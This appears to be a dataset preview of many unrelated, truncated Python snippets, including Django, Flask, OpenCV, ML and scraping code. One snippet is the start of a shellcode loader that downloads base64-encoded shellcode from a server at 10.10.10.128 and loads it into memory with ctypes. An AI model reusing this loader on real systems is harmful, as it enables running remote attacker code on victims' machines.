text stringlengths 38 1.54M |
|---|
import time
import os
import numpy as np
import cv2 as cv
import sys
sys.path.append("..")
from modules.piano import Piano
from screeninfo import get_monitors
def main():
cap = cv.VideoCapture(0)
monitor = get_monitors()
spath = os.path.abspath('')[:-7] + '\\sounds'
piano = Piano(0, 0, int... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import webapp2
login = False
from view import *
from conf import *
from handle_incoming_email import *
class MainHandler(View):
def __init__(self, *arg):
View.__init__(self, *arg)
def menu(self):
html = View.menu(self)
return html
... |
import os
import numpy as np
import gym
from stable_baselines3.common.monitor import Monitor
from stable_baselines3.common.results_plotter import load_results, ts2xy, plot_results
from stable_baselines3.common.evaluation import evaluate_policy
from stable_baselines3.common.logger import Video
from stable_baselines3.co... |
import numpy as np
import math
import matplotlib.pyplot as plt
def loadfile(filename):
dataMat = []
lableMat = []
fr = open(filename)
for line in fr.readlines():
lineArray = line.strip().split()
dataMat.append([1.0, float(lineArray[0]), float(lineArray[1])])
lableMat.... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.5 on 2017-09-16 20:07
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operation... |
# -*- coding: utf-8 -*-
# Import the reverse lookup function
from django.core.urlresolvers import reverse
# view imports
from django.shortcuts import redirect, render
from django.views.generic import DetailView
from django.views.generic import RedirectView
from django.views.generic import UpdateView
from django.views.... |
# Copyright 2020, OpenTelemetry Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to i... |
# Generated by Django 3.1 on 2020-08-24 00:03
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('materials_system', '0007_auto_20200823_2029'),
]
operations = [
migrations.AlterField(
model_name='cliente',
name='cpf... |
# -*- coding: utf-8 -*-
from .orm import orm_callable
from .redislog import redislog_hook
from .redisq import redisq_callable |
# If it finds a meal without spam it prints out each of the ingredients of the meal.
menu = []
menu.append(['egg', 'spam', 'bacon'])
menu.append(['egg', 'sausage', 'bacon'])
menu.append(['egg', 'spam'])
menu.append(['egg', 'bacon', 'spam'])
menu.append(['egg', 'bacon', 'sausage', 'spam'])
menu.append(['spam', 'bacon' ... |
# PlainController class which will hold the controller that can then be accessed in order to read training
# data for the neural network
class StaticController:
def __init__(self):
self.state_space_dim = None
self.state_space_etas = None
self.state_space_lower_left = None
self.state... |
# A workflows transport that doesn't actually transport anything
from __future__ import annotations
import json
import logging
import pprint
import uuid
from typing import Any, Dict, Optional, Type
import workflows.util
from workflows.transport import middleware
from workflows.transport.common_transport import (
... |
import datetime
from utils import detector_utils as detector_utils
import cv2
import tensorflow.compat.v1 as tf
tf.disable_v2_behavior()
def detect_hands_create_boundingbox(input_path, display_frames=False):
detection_graph, sess = detector_utils.load_inference_graph()
score_thresh = 0.2
num_workers = 4
... |
import urllib.request
import bs4
from bs4 import BeautifulSoup
wiki = "https://en.wikipedia.org/wiki/List_of_state_and_union_territory_capitals_in_India"
page = urllib.request.urlopen(wiki)
soup = BeautifulSoup(page)
print(soup) |
def bit_strings(n):
if n ==0:
return []
if n ==1:
return ["0","1"]
return [bit + bitstring for bit in ["0","1"] for bitstring in bit_strings(n-1)]
print(bit_strings(4))
|
#!/usr/bin/env python3
from aws import (
create_cloudformation_stack,
create_securityhub_insights,
enable_securityhub_product,
)
from configs import Configs
from log_config import LogConfig
from program_constants import CLOUDFORMATION_STACK_NAME, STREAM_LOG_FILE_NAME
from utils import process_siem_previous... |
import asyncio
import os
from typing import ( # noqa: F401
Any,
Dict,
Tuple,
)
from .router import (
Router,
)
from .server import (
Server,
)
from .utils import (
ConnectionCallback,
ReaderWriterPair,
)
class _AsyncioMonkeypatcher:
def __init__(self,
network: 'Netwo... |
from django.contrib import admin
from django.contrib.auth.admin import UserAdmin
from .models import Blog_record, User
class CustomUserAdmin(UserAdmin):
"""
Filter unused User fields.
"""
list_display = ['username', 'email']
fieldsets = (
(None, {
'fields': ('username', 'passwo... |
# -*- coding: utf-8 -*-
# requires sciket-learn 0.18
# if required, conda update scikit-learn
import math
import pandas as pd
import numpy as np
from sklearn.ensemble import RandomForestClassifier
from sklearn.preprocessing import label_binarize
from sklearn.multiclass import OneVsRestClassifier
from sklearn.metrics i... |
"""residues to fragment type
"""
# bck = {1:['N','H','CA','HA',
# ('C','CA',0.9),('CB','CA',0.9)],
# 0:['C','O','CA','HA',
# ('C','CA',0.9),('CB','CA',0.9)],
bck = [(1,'N'),(1,'H'),(0,'C'),(0,'O'),
(0,'CA'),(0,'HA'),(0,'C'),(0,'CB'),
(1,'CA'),(1,'HA'),(1,'C'),(1,'CB')]
wtr = {'... |
import unittest
import fs.test
from tests.resources import make_fs
# class DatalakeFSTest(fs.test.FSTestCases):
# def make_fs(self):
|
from django.http import HttpResponseRedirect
from django.views.generic.edit import FormView
from classlists.models import Classes
from django.contrib.auth.models import User
from django.contrib.auth.models import User
from django.core.mail import send_mail
from contact.forms import Contact_Form
class ContactFormView(F... |
def main():
user_input=input("Would you like to continue? ")
if(user_input=="n") or (user_input=="no") :
print("Exiting!!")
elif(user_input=="y" or (user_input=="yes")):
print("Continuing ... \nComplete!")
else:
print("Please try again and respond with yes or no.")
main()... |
# _*_ coding: utf-8 _*_
__author__ = 'zhiyi'
__date__ = '2017/3/6 19:43'
from selenium import webdriver
from bs4 import BeautifulSoup
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
constants = {}
cons... |
def solution(n, computers):
answer = 0
visited = [0]*n
for i in range(n):
if visited[i] == 0:
dfs(n, computers, i, visited)
answer += 1
return answer
# [PRG] 매개변수로 computers와 visited도 넘겨주어야함
def dfs(n, computers, v, visited):
visited[v] = 1 # 방문 확인
for i in rang... |
#-*- coding:utf8 -*-
import urllib2
import ctypes
import base64
# 从我们搭建的服务器下下载shellcode
url = "http://10.10.10.128:8000/shellcode.exe"
response = urllib2.urlopen(url)
# 解码shellcode
shellcode = base64.b64decode(response.read())
# 申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shel... |
from django.db import models
import uuid
# Create your models here.
class YelpUser(models.Model):
user_id = models.CharField(max_length=22, unique=True)
def __str__(self):
return self.user_id
|
from __future__ import unicode_literals
from os.path import abspath, join, dirname
import random
import datetime
__title__ = 'names'
__version__ = '0.3.0.post1'
__author__ = 'Trey Hunner'
__license__ = 'MIT'
full_path = lambda filename: abspath(join(dirname(__file__), filename))
FILES = {
'first:male': full_p... |
#! /usr/bin/env python
"""
Created on Mon Jan 4 2016
Anna M. Kedzierska
"""
import geojson
def create_map(points, type_obj, out_file_name):
"""
Input: list of points as tuples, type_obj= 0: points, else: line
Returns a GeoJSON file.
Note: GitHub can automatically render the GeoJSON
file as a map.
... |
def count_neighbours(grid, row, col):
"""Determine the number of chips close to the given cell. We consider as
close the 8 neighbours cells.
Args:
grid [tuple(<tuple>)]: A grid of N*N dimension.
row, col [int]: Row and column of the cell we need to use as pivot.
Returns:
The s... |
'''
Date: 2021-02-08 17:00:09
LastEditors: Jecosine
LastEditTime: 2021-02-09 11:27:43
'''
import sqlite3
from util import *
# from ..models import *
con = sqlite3.connect('test.db')
cursor = con.cursor()
l, union = load_words()
data = []
data_1 = []
data = [(get_uuid(10), x) for x in union]
for i in union:
if i ... |
class CookieInvalidException(Exception):
def __init__(self, *args):
super().__init__(*args)
class PasswordInvalidException(Exception):
def __init__(self, *args):
super().__init__(*args)
class NoSuchCourseException(Exception):
def __init__(self, *args):
super().__init__(*args)
|
# pylint: disable=invalid-name
# pylint: disable=missing-docstring
import rethinkdb as r
import tweepy
from tweepy_conf import init
from tag_user import get_user_tags
from extract_fields import extract_fields
from db_conf import get_conf
rdb_config = get_conf()
r.connect(**rdb_config).repl()
api = init()
mdb_li... |
"""This module implements EKF localization using GNSS and IMU."""
from collections import deque
from functools import partial
import erdos
from erdos import Message, ReadStream, Timestamp, WriteStream
import numpy as np
from pylot.utils import Location, Pose, Quaternion, Rotation, Transform, \
Vector3D
cl... |
#!/usr/bin/env python3
__version__ = '0.2.0'
import re,pysam,os
import mappy as mp
import pandas as pd
import hashlib
from operator import itemgetter
from collections import Counter
from . import config as cfg
class Caller:
def __init__(self,consensusFastas,runName,reference,spacer,alnPreset,sMap,minFrac=0.01,
... |
import numpy as np
import numpy.testing as npt
import unittest
from unittest import main
class TestCase(unittest.TestCase):
def assertAllClose(self, actual, desired, *args, **kwargs):
npt.assert_allclose(actual, desired, *args, **kwargs)
def assertAllEqual(self, x, y):
npt.assert_array_equal(x, y)
def ... |
import sqlite3
from flask import Flask, g, render_template, request, redirect, url_for
from werkzeug.datastructures import MultiDict
from contextlib import closing
#VenueRunner classes
import VRForms
import VRDB
# Config - TODO use separate file!
DEBUG = True # Remove in production code
DATABASE = 'venue.db'
PASSWOR... |
import sys
from pyspark import SparkConf, SparkContext
import matplotlib.pyplot as plt
from math import sqrt, log, pow, e, pi
import numpy as np
def sign(x): #function to return sign of number.
if x > 0:
return 1
elif x < 0:
return -1
else:
return 0
def std_dev(a): #a will be array of form ((((8.22, 11.93), ... |
# raw_input() reads a string with a line of input, stripping the '\n' (newline) at the end.
# This is all you need for most Google Code Jam problems.
import numpy as np
import copy
t = int(raw_input())
for case in xrange(1, t+1):
number_parties = int(raw_input()) # read a line with a single integer
nb... |
import json
from flask import request, jsonify, Response
from flask_jwt_extended import create_access_token
from flask_restful import Resource, reqparse
from apigateway.auth.models import User
from apigateway.celery import celery
class Authentication(Resource):
parser = reqparse.RequestParser()
parser.add_a... |
#!/usr/bin/env python
from params import *
largs = [('n','','','suffix'),
('b',False,'','batch_mode'),
('m','island','','clustering_method'),
('s',0,'','show_bar'),
('o','.','','output_folder'),
('l',1.0,'','limit'),
('phi',[10.,5.],'','deltaphi_cut'),
('z... |
#class Team :
#def __init__(self, characters) :
#self.characters = characters
#self.amount = len(characters)
#self.expire = False
#x = self[0].x
#y = self[0].y
#for i in range(1,len(self)) :
#self[i].x = x-i
#self[i].y = y
#def __getitem__(... |
# -*- coding: utf-8 -*-
"""
# @Time : 4/6/21
# @Author : Zhaopu Teng
"""
class ListNode():
def __init__(self, val):
if isinstance(val, int):
self.val = val
self.next = None
elif isinstance(val, list):
self.val = val[0]
self.next = None
... |
from iofog.microservices.client import Client
from iofog.microservices.exception import IoFogException
from iofog.microservices.iomessage import IoMessage
from iofog.microservices.listener import *
from csv import reader
from datetime import datetime
import json
import time
import base64
# from iofog.microservices.lo... |
import numpy
def calc_func_1(para):
p = para
u = p**2 * (1.0 - p)
return u
def calc_func_2(para):
p = para
f_1 = p >= 1.0 / 3.0
f_2 = p >= 2.0 / 3.0
u = 4.0 / 27.0 * ((f_1 & ~f_2) * (-1.0 + 3.0 * p) + (f_1 & f_2) * (3.0 - 3.0 * p))
return u
def calc_func_3(para):
p = para
u... |
import json
import random
import logging
from cerebro import search_client
from cerebro.search_api import SearchApi
from cerebro import DEFAULT_LOCALE, NUGGET_TYPE, ARTICLE_TYPE
DOWNLOAD_CONTEXT = "nugget"
def mine_data(data):
nuggets = data.get('text')
urls = data.get('urls')
if nuggets and urls:
... |
# Reconstruct the calcultor using user defined function
def add(x,y): #define function
return x+y
def sub(x,y):
return (x-y)
def mul(x,y):
return x*y
def div(x,y):
return x/y
print("Which opertion you want to perform")
print("+")
print("-")
print("*")
print("/")
choice=input("Enter your choice:... |
import inspect
from typing import Tuple, Type, Iterable
import graphql
from slothql.fields import Field
from slothql.utils import is_magic_name, get_attr_fields
from slothql.utils.singleton import Singleton
class ObjectOptions:
__slots__ = 'object', 'abstract', 'fields'
def set_defaults(self):
for ... |
# -*- coding: utf-8 -*-
# 模拟堆栈结构
stack = []
# 压栈(向堆栈添加内容)
stack.append('a')
stack.append('b')
stack.append('c')
print(stack)
# 出栈 遵循先进后出的原理 也就是说c要先出栈,a最后 (这里只是列表举例)
print(stack.pop())
print(stack.pop())
print(stack.pop()) |
from app.recommendations.services import RecommendationService
from instance.recommendations.services import RecommendationPopulationService
from tests.practice_centers.fakes import center1
from tests.practice_centers.mocks import practice_center_repository
from tests.recommendations.forms import FakeAddRecommendationF... |
def update(val) :
str_val = str(val)
str_val = str_val[::-1]
val = val + (int)(str_val)
val = str(val)
val = ''.join(sorted(val))
return int(val)
def is_creeper(val):
val = str(val)
if val == "1233334444":
return True
if val[-3:] == "444" and val[:4] == "1233":
for... |
# coding: utf-8
# In[3]:
import numpy as np
import cv2
from PIL import Image
import sys
import matplotlib.pyplot as plt
def readPoints(path) :
# Create an array of points.
points = [];
#Read points
with open(path) as file :
for line in file :
x, y = line.split()
poin... |
import random
import math
import numpy
def get_neighbour(current,drone_list,radius):
position=current.xyz
neighbours=[]
for drone in drone_list:
if drone.tag!=current.tag:
neighbour=drone.xyz
d=math.sqrt(pow((position[0] - neighbour[0]), 2) + pow((position[1] -neighbour[1]), 2))
if d<radius:
neighbour... |
def sum_to(n):
for i in range(n):
n = n+n
return n
num = 10
print(sum_to(num))
|
# import django
# from django.conf import settings
# from upt_demo.trail import trail_defaults
#
# settings.configure(default_settings=trail_defaults, DEBUG=True)
# django.setup()
from .models import Game, Item, Event, Location, Context
from .logger import get_logger
class ContextManager(object):
"""Context Mana... |
from django.contrib import admin
from myproject.googleapi.models import *
class ProjectAdmin(admin.ModelAdmin):
list_display = ('dateTime', 'title')
search_fields = ('dateTime', 'title')
admin.site.register(UserInfo)
admin.site.register(Project, ProjectAdmin)
admin.site.register(FormInput)
adm... |
# This script is for initial testing with Neo4J before it is more deeply embedded into the project.
# 1. Get a basic graph operational. CHECK.
# 2. Successfully query data from the graph.
# 3. Investigate the optional schema model.
#-------------------------------------------------------------------------------------... |
# coding=utf-8
from flask import Flask
import token_bucket
import leak_bucket
app = Flask(__name__)
@app.route('/')
@token_bucket(rate=2, default=5)
def hello_world():
'令牌桶算法测试'
return 'Hello World!'
@app.route('/test')
@leak_bucket(rate=3, default=20)
def hello():
'漏桶算法测试'
return 'hello test'
if... |
"""Pytest Fixtures."""
import pytest
from molecule.test.conftest import random_string, temp_dir # noqa
@pytest.fixture
def DRIVER():
"""Return name of the driver to be tested."""
return "docker"
|
from train.util import readData, train
from sklearn import tree
trainImages, trainLabels = readData('train', 60000)
testImages, testLabels = readData('t10k', 10000)
train(tree.DecisionTreeClassifier(criterion='entropy', max_depth=15), trainImages, trainLabels, testImages, testLabels)
|
from ftw.upgrade import UpgradeStep
class AddDeletePermissionForTemplateFolderWorkflow(UpgradeStep):
"""Add delete permission for template folder workflow.
"""
def __call__(self):
self.install_upgrade_profile()
self.update_workflow_security(
['opengever_templatefolder_workflow... |
"""
This example outputs a custom waveform and records the waveform on Channel A.
The output of the AWG must be connected to Channel A.
"""
import msl.equipment.resources.picotech.picoscope
import msl.equipment
# this "if" statement is used so that Sphinx does not execute this script when the docs are being built
if... |
from rest_framework.permissions import BasePermission
class ObjectPermission(BasePermission):
def has_permission(self, request, view):
if view.action == 'list':
return request.user.is_superuser
elif view.action == 'create':
return request.user.id == request.da... |
# coding: utf-8
# In[1]:
#2/4 06:49
import numpy as np
from numpy import array
import pandas as pd
from keras.models import Sequential
from keras.optimizers import RMSprop , Adam
from keras.layers import GaussianNoise, Dense , Conv2D , Activation , Dropout , Flatten , BatchNormalization , Reshape , UpSampling2... |
import numpy as np
import logging
import json
from utility import * #custom methods for data cleaning
FILE_NAME_TRAIN = 'train.csv' #replace this file name with the train file
FILE_NAME_TEST = 'test.csv' #replace
ALPHA = 1e-1
EPOCHS = 100000#keep this greater than or equl to 5000 strictly otherwise you will get an er... |
from typing import List
import sqlalchemy
from sqlalchemy import text
from backend.todos import Todo
# noinspection SqlNoDataSourceInspection
class Storage:
def __init__(self, database_uri: str):
self._db = sqlalchemy.create_engine(database_uri, pool_recycle=30)
def retrieve_todos(self) -> List[Tod... |
# Generated by Django 3.1.6 on 2021-05-04 16:08
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('medidas', '0020_auto_20210426_1229'),
]
operations = [
migrations.AddField(
model_name='patient',
name... |
import pandas
import xgboost
from sklearn import model_selection
from sklearn.model_selection import cross_validate
from sklearn.manifold import Isomap
from sklearn.metrics import accuracy_score
import numpy as np
import xgboost
import csv
import keras
from keras.models import Sequential
from keras.layers im... |
from functools import wraps
class Logit:
def __init__(self, logfile='out.log'):
self.logfile = logfile
def __call__(self, func):
@wraps(func)
def wrap_function(*args, **kwargs):
log_str = func.__name__ + ' was called'
print(log_str)
with open(self.l... |
import streamlit as st
from interacts.common import display_lang_selector
from interacts.sl_utils import all_labels
from sagas.ofbiz.service_gen import get_service_package, gen_service_stub, proc_service_refs
from sagas.ofbiz.services import OfService as s, search_service, create_service_data_frame
def sidebar():
... |
#
# Copyright (c) 2014, Prometheus Research, LLC
#
from .action import *
from .api import *
from .widgets import *
|
from .ReadBase import ReadBase
class ReadPyIni(ReadBase):
"""
Read "Python" INI Files
"""
def process_section(self__, section__, txt__):
"""
Convert the variables in evaluable `txt_` to a dict
Read a .pyini file (section contents
have an optional single indent), i.e.
... |
class Pessoa:
def __init__(self, nome, idade):
self.nome = nome
self.idade = idade
self.nomeclasse = self.__class__.__name__
def falar(self):
print(f'Pessoa {self.nome} está falando.')
print(f'Classe: {self.nomeclasse}')
class Aluno(Pessoa):
def estudar(self):
... |
#!/usr/bin/env python2.5
#
# Copyright 2009 the Melange authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pandac.PandaModules import *
from type1 import DessinRoute as Type1
class DessinRoute(Type1):
def __init__(self):
Type1.__init__(self)
def filtre(self, routes):
return len(routes)==5
def fabrique(self, routes):
for route in routes:
route.fabr... |
from django.urls import path
from . import views
urlpatterns = [
path('', views.home , name='Home'),
path('select_movie/<movie>/', views.selectMovie , name='SelectMovie'),
path('select_theater/<theater>/', views.selectTheater , name='SelectTheater'),
path('select_screen/<screen>/', views.selectScreen ,... |
sentence = '나는 소년입니다.'
print(sentence)
sentence2 = "파이썬 쏘 이지"
print(sentence2)
sentence3 = """
나는 소년이고,
파이썬은 쏘 이지
"""
print(sentence3)
jumin = "990120-1234567"
print("성별 : " + jumin[7])
print("연 : " + jumin[0:2]) # 0번째 인덱스부터 2번째 인덱스 직전까지(0, 1)
print("월 : " + jumin[2:4])
print("일 : " + jumin[4:6])
print("생년월일 : " + ju... |
from ..bots import load_bot, save_bot
from .command import Command
class Rename(Command):
def register_arguments(self, parser):
parser.add_argument('bot_in')
parser.add_argument('new_name')
def run(self, args):
bot = load_bot(args.bot_in)
bot.metadata['name'] = args.new_name
... |
from django.urls import path
from . import views
app_name = 'timesheetApp'
urlpatterns = [
#timesheet homepage
path('', views.index, name='timesheet-index'),
#go to template for data entry- calendar and timesheet
path('entry/', views.entry, name='set-date'),
#not a new template, get data to popula... |
from __future__ import annotations
from datetime import datetime
from aredis_om import Field, HashModel, get_redis_connection
from app.core.config import settings
from app.models.config_model import ConfigModel
from app.models.db_core_model import DBCoreModel
from app.models.enums.clock_entry_type import ClockEntryT... |
from random import sample
from typing import List
from classes import Rating
# Default number of players in database
DEFAULT_DB_SIZE = 50
class PlayerDatabase(object):
"""
Maintains the information of all players
in the data set
"""
players: List[Rating]
def __init__(self, count=DEFAULT_DB_S... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @ File multiple_input_single_output.py
# @ Description
# @ Author alexchung
# @ Time 6/10/2019 PM 14:42
import os
import numpy as np
from keras.models import Model
from keras import layers
from keras import Input
from keras.optimizers import RMSprop
from keras.losses imp... |
#coding:utf-8
def add(a,b):
return a+b
def a(a,b):
return a-b
def ad(a,b):
return a*b
def dd(a,b):
return a/b
|
#! /usr/bin/env python
"""Test for VulnerabilityVector."""
import doctest
doctest.testfile("vulnerability.md")
|
import requests
from bs4 import BeautifulSoup
page = requests.get("https://exchange.gemini.com")
#if shit broke
if (not page.status_code == 200):
print("shit broke")
soup = BeautifulSoup(page.content, 'html.parser')
list(soup.children)
|
import sys
import os
import math
import argparse
import json
from ConfigParser import SafeConfigParser
# parser = SafeConfigParser()
# parser.read('caffe_path.cfg')
# caffe_path = parser.get('caffe', 'path')
# sys.path.append('%s/python' % caffe_path)
#caffe_path = '/home/zhecao/caffe_train/'
caffe_path = ... |
#!/usr/bin/env python
import sys
import random
import time
import json
from pprint import pprint
import networkx as nx
import matplotlib.pyplot as plt
random.seed(31)
def randomHosts(prefix, n):
hosts = [None] * n
randN = random.randint(0,n-1)
hostName = prefix + str( randN )
nones = n
while nones != 0:
... |
# Uses TF 2.x summary writer to log a scalar.
#
# Guild should extend the logged data with system scalars.
import sys
import tensorflow as tf
assert len(sys.argv) >= 2, "usage: summary1.py LOGDIR"
writer = tf.summary.create_file_writer(sys.argv[1])
with writer.as_default():
tf.summary.scalar("x", 1.0, 1)
t... |
import gumps
import wrapper
import common
import gumps
import item_types
class BulkOrder:
bulk_order_gump_id = 0x5afbd742
bulk_order_dict = {"combine": 2}
def __init__(self):
factory = gumps.GumpResponseMapFactory()
bulk_order_map = factory.create_map(self.bulk_order_dict)
self._gu... |
from flask import Flask
def create_app(test_config=None):
app = Flask(__name__)
from .routes import hello_world_bp
app.register_blueprint(hello_world_bp)
from .routes import dog_bp
app.register_blueprint(dog_bp)
return app |
# -*- coding: utf-8 -*-
""" Job class for BF module """
from classes.jobs.GeneratorJob import GeneratorJob
class BackupsFinderJob(GeneratorJob):
""" Job class for BF module """
pass
|
# Generated by Django 2.0.6 on 2020-05-06 18:49
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Exp',
fields=[
... |
from django.db import models
from easy_thumbnails.signals import saved_file
from easy_thumbnails.signal_handlers import generate_aliases_global
class TimestampedModel(models.Model):
creation_timestamp = models.DateTimeField(auto_now_add=True)
last_modified = models.DateTimeField(auto_now=True)
class M... |
#!/usr/bin/env python
import threading, thread
class ClientConnectRule():
@staticmethod
def connect_rule(config, rule):
#rule = 0 is default rule, which does load balancing
if rule==0:
serv_list = sorted(config.serv_load.iteritems(), key=lambda (k,v):(v,k))
servers = []
... |
import time
import pymysql
from Bilibiliflat.config import *
from Bilibiliflat.loggings import initLogging
logger = initLogging("C:\\Users\\17121\\OneDrive\\Githubproject\\Crawlitems\\WebBiliapi\\Loggings\\sql.log")
def Connect(dbname):
db_con = pymysql.connect(host='cdb-hluivpkc.bj.tencentcdb.com',user=user,p... |
'''
问题描述
有一条长为n的走廊,小明站在走廊的一端,每次可以跳过不超过p格,每格都有一个权值wi。
小明要从一端跳到另一端,不能回跳,正好跳t次,请问他跳过的方格的权值和最大是多少?
输入格式
输入的第一行包含两个整数n, p, t,表示走廊的长度,小明每次跳跃的最长距离和小明跳的次数。
接下来n个整数,表示走廊每个位置的权值。
输出格式
输出一个整数。表示小明跳过的方格的权值和的最大值。
样例输入
8 5 3
3 4 -1 -100 1 8 7 6
样例输出
12
'''
n,p,t=[int(x) for x in input().split()]
a=[int(x) for x in input()... |
# -*- coding: utf-8 -*-
"""
Created on Wed Jan 16 13:16:36 2019
@author: avi
"""
import pandas as pd #data manipulation and data anlysis (read files)
import numpy as np #transform data into format that model can understand
import sklearn #helps to create machine learning model
import matplotlib.pyplot as plt ... |
#The following python file consists of class definition of a 2x2 matrix
class Matrix(object):
def __init__(self, E00, E01, E10, E11):
self.E00 = E00
self.E01 = E01
self.E10 = E10
self.E11 = E11
def __str__(self):
return "\n {0} {1}\n {2} {3}\n".format(self.E00,self.E01, ... |
import pickle
import pandas as pd
# base data
PATH_TO_DATA = '/home/slade/Youtube/record/data/click_brand_msort_query_data_20180624.txt'
data = pd.read_csv(PATH_TO_DATA, sep='\t', header=None)
data.columns = ['UId', 'ItemId', 'BrandId', 'MiddlesortId', 'ClickTime', 'Date']
data = data[['UId', 'ItemId', 'BrandId', 'Mi... |
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from DotmapUtils import get_required_argument
from config.ensemble_model import EnsembleModel
import gym
import numpy as np
import torch
from torch import nn as nn
from torch.nn import functional as F
TORCH_D... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.